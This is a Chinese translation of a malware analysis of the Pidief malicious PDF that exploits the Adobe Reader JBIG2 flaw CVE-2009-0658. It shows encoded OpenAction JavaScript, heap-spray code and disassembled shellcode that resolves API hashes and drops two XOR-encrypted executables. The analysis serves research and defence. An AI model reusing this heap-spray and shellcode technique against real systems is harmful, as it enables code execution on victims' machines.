CVE-2009-0658 漏洞分析

题目：CVE-2009-0658 漏洞分析
原作：Peter Kleissner
(http://web17.webbpro.de/index.php?page=analysing-the-pdf-exploit)
翻译：Cryin'

我想给大家分享下 2009 年 3 月对一个 Adobe pdf 漏洞的分析结果，该漏洞由于 JBIG2 压缩中的 BUG 导致执行任意 Win32 代码。该漏洞目前(2009 年 3 月 3 日)已经仅在内部被修补，但 Adobe 有望在 3 月 11 日才发布更新版本。自 2007 年以来的所有 Adobe 阅读器(Adobe Reader 7.0 和更高版本都受影响)，恶意 PDF 文件利用此漏洞的成功率非常低，所以传播的不是很广泛。

PDF 文件概览

首先让我们大概的认识下一般的 PDF 恶意文件
•JavaScript 代码，使 Exploit 成为可能
•Shellcode 集成在 JavaScript 代码中(加载在 Stream 里面)
•Exploit Code，包含在 PDF 文件的 Stream 中并经过加密的可执行文件(malware)
•伪造的 PDF 文件，实现隐藏的目的
PDF 漏洞文件开发主要有三个部分：JavaScript 代码、Shellcode、Exploit Code。这三部分在漏洞利用开发过程中都同等重要。
Pidief 是一个知名度很高、传播十分广泛的病毒家族(本文分析的也是)，在其历史上它利用各种 Adobe Pdf 漏洞来执行恶意程序(malware).下面分析的就是 Pidief 家族中鲜活的实例。尽情享受吧！

JavaScript 代码

Pidief 包含的第一段 JavaScript 代码作为脚本存储在 PDF 文件的 Object 对象中，代码经过八进制编码后如下面所示：

```
2 0 obj
<</S /JavaScript
/JS
(\040\012\012\040\040\040\040\040\040\040\040\146\165\156\143\164\151\157\156\0
40\160
\162\151\156\164\111\156\146\157\050\051\173\012\040\040\040\040\040\040\040\04
0\040\040
\040\040\143\157\156\163\157\154\145\056\160\162\151\156\164\154\156\050\042\12
6\151\145
\167\145\162\040\154\141\156\147\165\141\147\145\072\040\042\040\053\040\141\16
0\160\056
\154\141\156\147\165\141\147\145\051\073\012\040\040\040\040\040\040\040\040\04
0\040\040
\040\143\157\156\163\157\154\145\056\160\162\151\156\164\154\156\050\042\126\15
```

```
1\145\167
\145\162\040\166\1
...
>>
endobj
```

JS 脚本相当大，解码后长度为 42792 字节(其中主要部分是 Shellcode)。在演示解码后的 Java 代码之前，我想简单介绍一下 PDF 文件中的 JavaScript 代码是如何执行的。Adobe 使用自己的内部引擎，大家可能想到是 IE 浏览器，但 Adobe 并没有使用 IE 浏览器引擎。JavaScript 是由不同的动作(triggers)执行。根据一份来自 Adobe 的德文文档所述，一共有 7 个动作用来执行 JavaScript，这里使用的是第一个动作，Open Document。所以这样也带来一个很重要的限制，PDF 中执行 JavaScript 是依赖动作的。下面是动作 Open Document 时注册要执行的 JavaScript 代码：

```
3 0 obj
<</Type /Catalog
/Outlines 4 0 R
/Pages 5 0 R
/OpenAction 2 0 R
>>
endobj
```

OpenAction 定义了执行的对象 obj 2 0，也就是包含了上面经过 Oct 编码的 JavaScript 代码的对象。

```
function printInfo(){
            console.println("Viewer language: " + app.language);
            console.println("Viewer version: " + app.viewerVersion);
            console.println("Viewer Type: " + app.viewerType);
            console.println("Viewer Variatio: " + app.viewerVariation);
            console.println("Dumping all data objects in the document.");
            if ( this.external )
            {
            console.println("viewing from a browser.");
            }
            else
            {
            console.println("viewing in the Acrobat application.");
            }

            ...
```

该脚本只包含两个函数：printInfo()和 sprayWindows()。第一个仅输出关于 PDF 浏览器的信息(调试使用)，第二个函数用来准备内存并将 Shellcode 填充到内存里面。正如上面提到脚本长度为 42792 字节，但只有 150 行，这就使得它很容易被读取。有趣的是 JavaScript 里甚至包含了一些注释信息：

```
// Create a 1MB string of NOP instructions followed by shellcode:
    //
    // malloc header   string length   NOP slide   shellcode   NULL terminator
```

```
    // 32 bytes        4 bytes          x bytes      y bytes      2 bytes

        while (pointers.length <= 0x100000/2)
        pointers += pointers;
    //Pointers
        pointers = pointers.substring(0, 0x100000/2 - 32/2 - 4/2 - pointers1.length
- 2/2 );

        while (nop.length <= 0x100000/2)
        nop += nop;
    //Trampolin
        nop = nop.substring(0, 0x100000/2 - 32/2 - 4/2 - jmp.length - 2/2);

//      while (nop1.length <= 0x100000/2)
//      nop1 += nop1;
    //shelcode <1M
//      nop1 = nop1.substring(0, 0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2 );
```

Exploit 如何工作

像往常一样，PDF 漏洞文件一般都是利用软件(Adobe Reader)的 BUG(exploiting)而开发的。一个常见的技术如“缓冲区溢出”，尝试溢出在栈上的缓冲区并并覆盖函数返回跳转地址到指定数据。这里使用的正是这种技术，并利用 JBIG2 压缩的漏洞实现。JavaScript 代码开辟了 200MB 内存并使用 NOP 指令(空操作，汇编指令)和 Shellcode 填充。然后 JBIG2 压缩漏洞将导致程序跳转到 200MB 内存的某个位置去执行。这就是为什么有这么多的 NOP 指令，正因入口点位置不能确定，所以 NOP 指令将被执行，最后执行到 Shellcode。以下代码用来开辟 200MB 内存：

```
var x = new Array();

        // Fill 200MB of memory with copies of the NOP slide and shellcode
        for (i = 0; i < 150; i++) {
        x[i] = nop+shellcode;
        }
//      x[i++] = nop1+shellcode;

        for (; i < 201; i++) {
        x[i] = pointers + pointers1;
        }
```

这里非常有趣的是为了在不同的版本下利用该漏洞，针对 Adobe Reader 9 和 Adobe Reader 7.0(以及更高版本)有不同的代码进行处理：

```
if(app.viewerVersion>=7.0&app.viewerVersion<9)
        {
```

Shellcode

JavaScript代码将Shellcode填充到内存,以便在Adobe Reader漏洞触发时执行。Shellcode本身是有效的 Win32 代码，存储并被 escaped 在 JavaScript 代码中。这里我们禁用 JavaScript 引擎，并进入阅读器窗口。在前四个字节，Shellcode 在最开始包含了"JBIA"缩写字样并紧跟着 4 句垃圾指令代码。让它们记录并返回调用 Shellcode 的目标：从 PDF 文件中释放并执行两个可执行文件。让我们看看初始化代码：

```
; [junk code] - "JBIA"
00000000 4A                dec edx
00000001 42                inc edx
00000002 49                dec ecx
00000003 41                inc ecx

; create data on stack (284 bytes)
00000004 81EC20010000      sub esp,288
0000000A 8BFC              mov edi,esp
0000000C 83C704            add edi,4                                   ;
edi is a pointer to the new allocated data

; store the hashes of Windows API functions for later usage
0000000F C7073274910C      mov dword [edi],0xc917432                   ;
LoadLibraryA
00000015 C747048E130AAC    mov dword [edi+0x4],0xac0a138e
; GetFileSize
0000001C C7470839E27D83    mov dword [edi+0x8],0x837de239
; GetTempPathA
00000023 C7470C8FF21861    mov dword [edi+0xc],0x6118f28f
; TerminateProcess
0000002A C747109332E494    mov dword [edi+0x10],0x94e43293
; CreateFileA
00000031 C74714A932E494    mov dword [edi+0x14],0x94e432a9
; CreateFileW
00000038 C7471843BEACDB    mov dword [edi+0x18],0xdbacbe43
; SetFilePointer
0000003F C7471CB2360F13    mov dword [edi+0x1c],0x130f36b2
; ReadFile
00000046 C74720C48D1F74    mov dword [edi+0x20],0x741f8dc4
; WriteFile
0000004D C74724512FA201    mov dword [edi+0x24],0x1a22f51
; WinExec
00000054 C7472857660DFF    mov dword [edi+0x28],0xff0d6657
; CloseHandle
0000005B C7472C9B878BE5    mov dword [edi+0x2c],0xe58b879b
; GetCommandLineA
00000062 C74730EDAFFFB4    mov dword [edi+0x30],0xb4ffafed
; GetModuleFileNameA
```

```
; call the code following this instruction
00000069 E997020000        jmp dword Execute_Function

..

Execute_Function:
00000305 E864FDFFFF        call Execute_Shellcode
; just for obfuscation, this will never return
```

可以看到函数的 hash 值被存放在堆栈中，然后是一个用来迷惑大家的 Call（译者:正如上面所说"this will never return"）。Jump 指令跳转到调用它下面代码的 Call。所以你可以去掉 jump 和 call 指令，效果还是一样的。Execute_Shellcode 过程一开始代码就开始解析 hash 值并获取对应函数的地址：

```
Execute_Shellcode:

; Arguments:
;   edi = pointer to the data/code stored on stack

0000006E 64A130000000      mov eax,[fs:0x30]
; get a pointer to the Process Environment Block
00000074 8B400C            mov eax,[eax+12]
; get a pointer to PEB_LDR_DATA structure
00000077 8B701C            mov esi,[eax+28]
; -> PEB_LDR_DATA.InInitializationOrderModuleList.LDR_DATA_TABLE_ENTRY
/LDR_MODULE   (UNDOCUMENTED)
0000007A AD                lodsd
; double linked list, Forward link, to LDR_DATA_TABLE_ENTRY / LDR_MODULE structure
(UNDOCUMENTED)
0000007B 8B6808            mov ebp,[eax+8]
;             DllBase             (Module             Base             Address)
(UNDOCUMENTED)
; resolve the 13 function hashes
0000007E 8BF7              mov esi,edi
; esi points to the first hash to resolve
00000080 6A0D              push byte 13
; loop 13 times
00000082 59                pop ecx
; ecx is counter
Resolve_Hashes:
00000083 E838020000        call dword ResolveImportsByHashes
00000088 E2F9              loop Resolve_Hashes

ResolveImportsByHashes:
```

```
; resolves function hashes

;   ebp = Module Address
;   edi = pointer to hash to resolve and exchange with functions address

; store register contents
000002C0 51                push ecx
000002C1 56                push esi

000002C2 8B753C            mov esi,[ebp+0x3C]
; -> PE Header (skip DOS Header)
000002C5 8B742E78          mov esi,[esi+ebp+0x78]
; Export Table Virtual Address
000002C9 03F5              add esi,ebp
;   (absolute address)

000002CB 56                push esi
; store address of Export Directory Table
000002CC 8B7620            mov esi,[esi+0x20]
; Name Pointer RVA (list of all functions)
000002CF 03F5              add esi,ebp
;   (absolute address)
000002D1 33C9              xor ecx,ecx
000002D3 49                dec ecx
; ecx is name counter

Function_Name_loop:
000002D4 41                inc ecx
; -> next function name
000002D5 AD                lodsd
; get the address of the function name
000002D6 03C5              add eax,ebp
;   (absolute address)
000002D8 33DB              xor ebx,ebx
; reset next hash to generate

Generate_Hash_of_Function_Name:
000002DA 0FBE10            movsx edx,byte [eax]
; load next character
000002DD 3AD6              cmp dl,dh
; zero terminator?
000002DF 7408              jz Generated_Hash
000002E1 C1CB07            ror ebx,7
```

```
; => this is hash generating algorithm hash += char >> 7
000002E4 03DA              add ebx,edx
; (add the shifted character to generating hash)
000002E6 40                inc eax
; -> next character
000002E7 EBF1              jmp short Generate_Hash_of_Function_Name

Generated_Hash:
000002E9 3B1F              cmp ebx,[edi]
; matches the input hash with generated one?
000002EB 75E7              jnz Function_Name_loop
; if not compare against next function

000002ED 5E                pop esi
; restore address of Export Directory Table
000002EE 8B5E24            mov ebx,[esi+0x24]
; Ordinal Table
000002F1 03DD              add ebx,ebp
;   (absolute address)
000002F3 668B0C4B          mov cx,[ebx+ecx*2]
; look up the function in the Ordinal Table to get the ordinal number
000002F7 8B5E1C            mov ebx,[esi+0x1c]
; Export Address Table
000002FA 03DD              add ebx,ebp
;   (absolute address)
000002FC 8B048B            mov eax,[ebx+ecx*4]
; -> look up the Address of the function (ordinal number in EAT)
000002FF 03C5              add eax,ebp
;   (absolute address)
00000301 AB                stosd
; overwrite the input hash with the address

; restore register contents
00000302 5E                pop esi
00000303 59                pop ecx

00000304 C3                ret
```

ResolveImportsByHashes 函数非常典型，几乎是每一个漏洞利用文件中必有的一部分。将其与 Sinowal 进行对比。像其它解析函数地址的函数一样，这个函数使用 ror 7 来生成 hash 值(非常典型)，其余的代码没有什么特别之处，仅仅是标准的 API 调用。与对 Sinowal 的分析一样，我不想花太多时间在这些代码上。下面是 API 调用的列表：

Kernel32!GetFileSize(FileHandle +4, NULL);

done in a loop, in order to get the size of every file and compare it with fixed

PDF file size
to get the file handle of the pdf file

Kernel32!GetTempPathA(Stack Buffer, 256 bytes);
returns temp path, where the 2 executables will be stored to

appending "\SVCHOST.EXE" to the temp path

Kernel32!CreateFileA("C:\Windows\Temp\SVCHOST.EXE", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
creates the first file in the temp path

Kernel32!SetFilePointer(PDF File Handle, File Position = where the string is, NULL, FILE_BEGIN);
sets file pointer in PDF file to a special configuration block

Kernel32!ReadFile(PDF File Handle, Buffer, 48 Bytes, &NumberOfBytesRead, NULL);
reads the configuration block (30h bytes)

Kernel32!SetFilePointer(PDF File Handle, File Position, NULL, FILE_BEGIN);
sets the file pointer to the position of the to-extract file in the PDF file, received from the configuration block

Kernel32!ReadFile(PDF File Handle, Buffer, 1024 Bytes, &NumberOfBytesRead, NULL);
Kernel32!WriteFile(PDF File Handle, Read File Buffer, 1024 Bytes, &NumberOfBytesWritten, NULL);
both done in a loop to read the whole first file
directly after read the file (buffer) will be decrypted with xor 97h

Kernel32!CloseHandle(Created File);

Kernel32!WinExec(Created File Name, 0);
the malware will be executed

strcat(Temp Path, "\temp.exe");
second files name is temp.exe

Kernel32!CreateFileA(Second File Name, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
also created in the temp directory

Kernel32!SetFilePointer(PDF File Handle, File Position = somewhere in the file, NULL, FILE_BEGIN);

at this time the file position is hard wired coded

Kernel32!ReadFile(PDF File Handle, Buffer, 1024 Bytes, &NumberOfBytesRead, NULL);
Kernel32!WriteFile(PDF File Handle, Read File Buffer, 1024 Bytes, &NumberOfBytesWritten, NULL);
again both done in a loop to read the whole second file
directly after read the file (buffer) will be decrypted with at this time xor A0h

Kernel32!SetFilePointer(Created File Handle, File Position = 9000h, NULL, FILE_BEGIN);
the file pointer of the second file will be moved to that position

Kernel32!WriteFile(PDF File Handle, previously read configuration buffer, 40 Bytes, &NumberOfBytesWritten, NULL);
and the configuration block written

Kernel32!CloseHandle(Created File);

Kernel32!WinExec(Created Second File Name, 0);
also this file will be executed

Kernel32!CloseHandle(Created File);

** programming error with this call making the process crashing

Kernel32!TerminateProcess(Current Process, Exit Code = 0);
will never be executed but should smoothly terminate Adobe Reader

...and that's it!

配置区块

如前所示，PDF 文件包含一个 40 字节大的配置块。Shellcode 使用其中的两个，第一个用来确定 PDF 文件的大小。此外，该配置块将被复制到第二个文件中。该配置块在 PDF 文件的 171984 位置处，包含以下信息：

00029FD0 41 41 49 20 41 4D 4F 53 20 31 31 2D 30 32 2D 30 AAI AMOS 11-02-0
00029FE0 39 2E 70 64 66 00 00 74 00 78 78 78 78 78 78 78 9.pdf..t.xxxxxxx
00029FF0 78 78 78 78 78 78 78 78 C8 B0 04 00 FC 47 03 00 xxxxxxxxè° ..üG..

紧挨着最后一个 DWORD 位置 0004B0C8 是目标文件的大小值(307400 bytes)。最后一个 DWORD 即 000347FC 是该文件在 PDF 文件中的位置，但 0x2a000 和 0xb000 是在 PDF 打开时获取的。

Pidief 中的错误

我遇到的 Pidief 中 Shellcode 的各种错误
•地址 6Eh：直接访问 PEB(Process Environment Block)结构，PEB_LDR_DATA;它们在不同的操作系统版本中 Window XP，Server 2003 以及 Vista 中并不固定
•地址 BBh：如果 PDF 文件大小不等于 827116 时会导致死循环，从而使程序崩溃
•地址 C0h：只给文件名称分配了 256 个字节，但 Windows 定义的 MAX_PATH 为 260 字节，（4 ("C:\", 0) + 256 (file name)）。这就意味着如果 PDF 文件名称长度大于 260 时，可能导致程序崩溃
•地址 2B7h:替换 GetCurrentProcess 而使用 GetFileSize 函数调用,实际上这会导致 Adobe Reader 崩溃
•地址 2E7h：ResolveImportsByHashes 函数，如果要搜索的函数不再 DLL 中，会导致死循环
此外，代码并不是非常高效，可以写的更好。并且包含了太多垃圾指令和冗余代码。

影响操作系统

所有安装有 Adobe Reader 7.0 或者更高版本的 Windows XP 系统在 2009 年 3 月 11 日之前都受此漏洞影响。因为 3 月 11 日 Adobe 公司将发布更新 Adobe Reader 版本。此外，是用 Adobe Reader 时最好禁用 JavaScript(默认是开启的)。在下面的链接中 Adobe 公司也给出了应对该漏洞的紧急措施。
我不能很确定 Vista 是否也受到该漏洞的影响，但至少我们知道不同的操作系统其 PEB(Process Environment Block)和 PEB_LDR_DATA 结构可能不尽相同。而且也没有看到 Vista 系统下恶意程序做什么以及如何兼容等信息，之后我们再作分析。

结束

PDF Exploits 非常不错，但是也很难发现。作为病毒作者，你必须相当熟悉 Adobe Reader 才能发现漏洞，但是如果发现的话，这个就值数千欧元(在市场上有超过 1W 欧元的)。作为普通的用户一定要记得及时更新 Adobe Reader 并且开启自动更新功能。

参考链接

http://www.heise.de/security/meldung/Zero-Day-Luecke-in-Adobe-Reader-und-Acrobat-198748.html
http://www.adobe.com/support/security/advisories/apsa09-01.html